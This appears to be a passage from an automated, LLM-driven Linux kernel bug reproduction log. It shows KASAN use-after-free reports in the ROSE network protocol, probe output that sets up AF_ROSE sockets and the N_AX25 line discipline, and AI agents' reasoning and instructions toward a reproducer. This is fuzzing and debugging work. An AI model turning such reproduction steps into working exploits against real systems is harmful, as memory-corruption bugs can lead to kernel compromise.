 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

IsProbe: true
Reproduced: false
Console Output: [  120.102615][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  120.102631][   T33] audit: type=1400 audit(1779795707.670:106): avc:  denied  { create } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.122596][   T33] audit: type=1400 audit(1779795707.670:107): avc:  denied  { write open } for  pid=6027 comm="dhcpcd-run-hook" path="/run/dhcpcd/hook-state/resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.142598][   T33] audit: type=1400 audit(1779795707.670:108): avc:  denied  { append } for  pid=6027 comm="dhcpcd-run-hook" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.163130][   T33] audit: type=1400 audit(1779795707.680:109): avc:  denied  { getattr } for  pid=6027 comm="dhcpcd-run-hook" path="/tmp/resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.181508][   T33] audit: type=1400 audit(1779795707.740:110): avc:  denied  { read } for  pid=6029 comm="cmp" name="resolv.conf" dev="tmpfs" ino=4 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
[  120.252733][   T33] audit: type=1400 audit(1779795707.820:111): avc:  denied  { unlink } for  pid=6030 comm="rm" name="resolv.conf.eth2.ipv4ll" dev="tmpfs" ino=2085 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
Warning: Permanently added '[localhost]:34860' (ED25519) to the list of known hosts.
[  126.193788][ T6090] mkiss: ax0: crc mode is auto.
[  126.200830][   T33] audit: type=1400 audit(1779795713.770:112): avc:  denied  { create } for  pid=6090 comm="syz-executor110" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1866481479

<...>
Warning: Permanently added '[localhost]:65212' (ED25519) to the list of known hosts.
execve("/syz-executor1866481479", ["/syz-executor1866481479"], 0x7ffe9c667560 /* 11 vars */) = 0
brk(NULL)                               = 0x555569472000
brk(0x555569472d80)                     = 0x555569472d80
arch_prctl(ARCH_SET_FS, 0x555569472400) = 0
set_tid_address(0x5555694726d0)         = 6106
set_robust_list(0x5555694726e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1866481479", 4096) = 23
getrandom("\x02\x39\xc7\x34\xbb\xc1\xd2\x7e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x555569472d80
brk(0x555569493d80)                     = 0x555569493d80
brk(0x555569494000)                     = 0x555569494000
mprotect(0x7f93ff7e4000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR)   = 3
[  130.003267][ T6106] mkiss: ax0: crc mode is auto.
ioctl(3, TIOCSETD, [5])                 = 0
[  130.025939][   T33] audit: type=1400 audit(1779795873.843:106): avc:  denied  { create } for  pid=6106 comm="syz-executor186" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
socket(AF_ROSE, SOCK_SEQPACKET, 0)      = 4
[  130.041302][   T33] audit: type=1400 audit(1779795873.853:107): avc:  denied  { read } for  pid=5545 comm="dhcpcd" name="n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
write(1, "[*] Starting probe...\n[+] Opened /dev/ptmx.\n[+] Set TIOCSETD to N_AX25.\n[+] Created AF_ROSE socket.\n"..., 122) = 122
[*] Starting probe...
[+] Opened /dev/ptmx.
[+] Set TIOCSETD to N_AX25.
[+] Created AF_ROSE socket.
[+] Probe successful.
[  130.054411][   T33] audit: type=1400 audit(1779795873.853:108): avc:  denied  { open } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
exit_group(0)                           = ?
[  130.070818][   T33] audit: type=1400 audit(1779795873.853:109): avc:  denied  { getattr } for  pid=5545 comm="dhcpcd" path="/run/udev/data/n108" dev="tmpfs" ino=2093 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=file permissive=1
+++ exited with 0 +++
[  139.238486][ T1364] ieee802154 phy0 wpan0: encryption failed: -22
[  139.242649][ T1364] ieee802154 phy1 wpan1: encryption failed: -22

Crash Report: 


107/4 2026/05/26 11:44 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13222
							output: 93
							thoughts: 275
						

Thoughts:
**Probe Result Analysis and Next Steps**

Okay, so I've just analyzed the results from the reproducer probe, and it looks like things are in good shape. The bug we're chasing is that `KASAN: slab-use-after-free Write in rose_send_frame`. The `IsProbe` flag is set to `true`, which means this was specifically designed to validate the setup. The console output confirms this; it clearly states that the probe started, went through the motions of setting up the environment (opening `/dev/ptmx`, configuring AX25, creating an AF_ROSE socket), and then declared itself successful. The `strace` output backs this up, showing the same successful setup followed by a clean `exit_group(0)`.

Since the probe was successful and `IsProbe` is indeed `true`, my next step is clear. I need to provide explicit feedback to the agent. Essentially, I need to communicate that the environment is ready and the agent can now proceed to the next iteration, which will involve generating the full reproducer.

I'll consult the instructions one more time for absolute clarity: "If 'IsProbe' is true: - If the execution was successful (all environment/subsystem probes passed), provide feedback explicitly indicating that the environment is ready and the agent should now proceed to generate the full reproducer in the next iteration." Yep, that's exactly what I'm going to do.

I'll call `set-results` with the feedback message, and I'll set `TitleMatches` to `false`. Honestly, for a probe, it doesn't really matter whether that flag is true or false, but false is safer in this situation. It's time to let the agent know we're ready for the main event!



108/4 2026/05/26 11:45 tool set-results
0m Args:
map[Feedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. TitleMatches:false]

Results:
map[Feedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. TitleMatches:false]

109/3 2026/05/26 11:45 action loop-controller
0m Results:
map[ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame. ProbeSuccessful:true ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

110/2 2026/05/26 11:45 iteration 1
12m
111/3 2026/05/26 11:45 action If
5m Args:
map[OracleFeedback:The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame.]

112/4 2026/05/26 11:45 agent strategy-refiner
5m Model:
gemini-3.1-pro-preview

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Keep your reasoning short and focus on the next actionable change to the reproducer.
Analyze the technical diagnosis provided in the oracle feedback and translate it
into concrete, step-by-step instructions for the repro-generator on how to modify
the code structure, alignments, offsets, or parameters of the candidate program.
Do NOT repeat searches for the same symbols or files. Use the information you have already gathered.
If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
